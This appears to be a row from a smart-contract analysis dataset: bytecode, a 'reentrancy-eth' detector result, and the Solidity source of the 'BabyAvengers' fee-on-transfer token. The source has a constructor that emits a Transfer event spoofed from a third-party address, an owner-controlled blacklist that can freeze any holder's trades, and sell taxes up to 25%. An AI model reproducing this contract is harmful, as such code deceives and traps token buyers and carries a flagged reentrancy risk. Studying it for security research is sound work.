3b57506012546001600160a01b03848116911614155b15610e4d57600854600c55600954600d555b6013546001600160a01b038481169116148015610e7857506012546001600160a01b03858116911614155b15610e8a57600a54600c55600b54600d555b610e968484848461110e565b50505050565b60008184841115610ec05760405162461bcd60e51b815260040161054e91906116c6565b506000610ecd84866118df565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105bf573d6000803e3d6000fd5b6000600654821115610f775760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161054e565b6000610f8161113c565b9050610f8d838261115f565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fdc57610fdc611880565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611035573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105991906118f6565b8160018151811061106c5761106c611880565b6001600160a01b0392831660209182029290920101526012546110929130911684610903565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906110cb908590600090869030904290600401611913565b600060405180830381600087803b1580156110e557600080fd5b505af11580156110f9573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b8061111b5761111b6111a1565b6111268484846111cf565b80610e9657610e96600e54600c55600f54600d55565b60008060006111496112c6565b9092509050611158828261115f565b9250505090565b6000610f8d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611308565b600c541580156111b15750600d54155b156111b857565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806111e187611336565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112139087611393565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461124290866113d5565b6001600160a01b03891660009081526002602052604090205561126481611434565b61126e848361147e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112b391815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006112e2828261115f565b8210156112ff5750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836113295760405162461bcd60e51b815260040161054e91906116c6565b506000610ecd8486611984565b60008060008060008060008060006113538a600c54600d546114a2565b925092509250600061136361113c565b905060008060006113768e8787876114f7565b919e509c509a509598509396509194505050505091939550919395565b6000610f8d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e9c565b6000806113e283856118c7565b905083811015610f8d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054e565b600061143e61113c565b9050600061144c8383611547565b3060009081526002602052604090205490915061146990826113d5565b30600090815260026020526040902055505050565b60065461148b9083611393565b60065560075461149b90826113d5565b6007555050565b60008080806114bc60646114b68989611547565b9061115f565b905060006114cf60646114b68a89611547565b905060006114e7826114e18b86611393565b90611393565b9992985090965090945050505050565b60008080806115068886611547565b905060006115148887611547565b905060006115228888611547565b90506000611534826114e18686611393565b939b939a50919850919650505050505050565b600082611556575060006105d4565b600061156283856119a6565b90508261156f8583611984565b14610f8d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461070a57600080fd5b80356115fc816115dc565b919050565b6000602080838503121561161457600080fd5b823567ffffffffffffffff8082111561162c57600080fd5b818501915085601f83011261164057600080fd5b813581811115611652576116526115c6565b8060051b604051601f19603f83011681018181108582111715611677576116776115c6565b60405291825284820192508381018501918883111561169557600080fd5b938501935b828510156116ba576116ab856115f1565b8452938501939285019261169a565b98975050505050505050565b600060208083528351808285015260005b818110156116f3578581018301518582016040015282016116d7565b81811115611705576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561172e57600080fd5b8235611739816115dc565b946020939093013593505050565b60008060006060848603121561175c57600080fd5b8335611767816115dc565b92506020840135611777816115dc565b929592945050506040919091013590565b60006020828403121561179a57600080fd5b8135610f8d816115dc565b6000602082840312156117b757600080fd5b81358015158114610f8d57600080fd5b6000602082840312156117d957600080fd5b5035919050565b600080600080608085870312156117f657600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561182557600080fd5b8235611830816115dc565b91506020830135611840816115dc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118c0576118c0611896565b5060010190565b600082198211156118da576118da611896565b500190565b6000828210156118f1576118f1611896565b500390565b60006020828403121561190857600080fd5b8151610f8d816115dc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119635784516001600160a01b03168352938301939183019160010161193e565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119a157634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119c0576119c0611896565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee3125e9dbe3cf2340c03b26d9d057c69adc3ebd8ad45833980a5777efbbac9164736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,196 |
0x70be836e07138cb468f67547d978c954c5aace61
|
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/**
*Submitted for verification at
*/
/**
*Submitted for verification
*/
/**
,-----. ,--. ,---.
| |) /_ ,--,--.| |-.,--. ,--./ O \,--. ,--.,---. ,--,--, ,---. ,---. ,--.--. ,---.
| .-. \' ,-. || .-. '\ ' /| .-. |\ `' /| .-. :| \| .-. || .-. :| .--'( .-'
| '--' /\ '-' || `-' | \ ' | | | | \ / \ --.| || |' '-' '\ --.| | .-' `)
`------' `--`--' `---'.-' / `--' `--' `--' `----'`--''--'.`- / `----'`--' `----'
`---' `---'
*Submitted for verification at
*/
// $BabyAvengers
// Telegram: https://t.me/BabyAvengers
// Website: www.babyavengers.xyz
// Introducing the official babyavengers coin designed to only go up.
// 20%+ Slippage
// Liquidity will be locked
// Ownership will be renounced
// EverRise fork, special thanks to them!
// Manual buybacks
// Fair Launch, no Dev Tokens. 100% LP.
// Snipers will be nuked.
// SPDX-License-Identifier: Unlicensed
// Welcome Baby
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyAvengers is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "BabyAvengers";
string private constant _symbol = "BabyAvengers";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600c81526020017f426162794176656e676572730000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f426162794176656e676572730000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a819055506014600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602